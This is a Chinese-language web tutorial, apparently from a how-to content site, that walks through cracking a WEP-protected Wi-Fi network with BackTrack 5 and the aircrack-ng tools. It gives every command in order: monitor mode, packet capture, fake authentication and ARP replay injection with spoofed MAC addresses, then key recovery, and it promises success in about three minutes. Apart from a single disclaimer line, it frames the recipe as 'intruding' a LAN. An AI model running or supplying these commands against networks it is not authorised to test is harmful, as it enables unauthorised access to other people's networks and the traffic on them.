backtrack5怎么入侵局域網
Backtrack一直都被當作WEP密碼解除的首選系統, BackTrack 5和之前的BackTrack 3和BackTrack 4一樣集成了解除無線密碼的工具并且支持更多型號的網卡. 3分鐘解除一個用WEP加密方式的無線網絡用BackTrack 5是完全可能的.下面是學習啦小編給大家整理的一些有關backtrack5入侵局域網教程，希望對大家有幫助!
backtrack5入侵局域網教程
非法解除他人的無線網絡等同犯罪, 請以自己的無線網絡作為實驗環境.
首先, 需要準備:
1.BackTrack 5 光盤版或者虛擬機鏡像, 也可以是Backtrack5 U盤版
2.一個兼容Backtrack的無線網卡
3.使用WEP加密的無線網絡加入點(指的就是你要解除的無線網絡)
點擊進入Backtrack5系統下載
需要的全部指令:
(請根據實際情況替換粗體部分)
1) ifconfig -a
(可以查看到自己機子無線網卡的MAC地址和無線網卡的設備名稱), 保留這個窗口方便下幾步查看需要的信息, 打開新命令窗口進入一步)
2) airmon-ng start wlan0 2
(wlan0為無線網卡, 2為需要監聽的頻道, 根據自己情況輸入, 此步驟為打開無線網卡的監聽模式)
3) airodump-ng –ivs -w name -c 2 wlan0
(獲取頻道2的所有無線AP的信息, wlan0是無線網卡, 2為頻道, 這一步的頻道需要跟上一步的一致, 命令輸入后會顯示周圍所有頻道為*的無線AP,
顯示的列表:
BSSID : 無線AP的Mac 地址
PWR： AP信號的大小
RXQ： 干擾值
Beacons：發送和接受的數據包, 有數據傳輸的時候就會跳動
#Data： 數據, 解除需要的最關鍵的就是這個
CH：頻道
MB：網絡連接速度
ESSID： AP的名稱
保留這一窗口, 打開新的命令窗口進入下一步)
4) aireplay-ng -1 0 -e ap_essid -a ap_mac -h XXXXXXXXXX wlan0
(發送欺騙, ap_essid為AP的名稱, 例如Linksys或者TP-Link, ap_mac為AP的MAC地址, 第三步的BSSID就是AP的MAC地址, XXXXXXXXX為自己無線網卡的MAC地址, 第一步可以看到. 這一步成功后會顯示Successful, 如不成功需要在信號強的地方重試, 成功后才可以進入下一步)
5) aireplay-ng -3 -b ap_mac -h XXXXXXXXXX -x 1024 wlan0
(ap_mac為無線AP的mac地址, 具體看步驟3, XXXXXXXX為無線網卡的mac地址, wlan0為網卡, 這一步執行以后, 開始正確的收發數據包, #Data開始上漲)
6) aircrack-ng -n 64 -b ap_mac name-*.ivs
(開始解除, ap_mac為ap的mac地址, 64指的是使用了64位加密, 多次解除失敗的話可以試128)
多數情況下當#data開始迅速跳動的時候就可以開始解除了, 不需要等到多少包, 如果#data這個數據增長緩慢的話, 換個位置到無線信號強的地方再試, 命令輸入正確的話最快3分鐘搞定一個64位加密的WEP AP是沒問題的! e網軟摘測試時用的USB網卡, 如果使用內置無線網卡性能上會提升很多.
看了“backtrack5怎么入侵局域網”的人還看了
8.怎么Dos入侵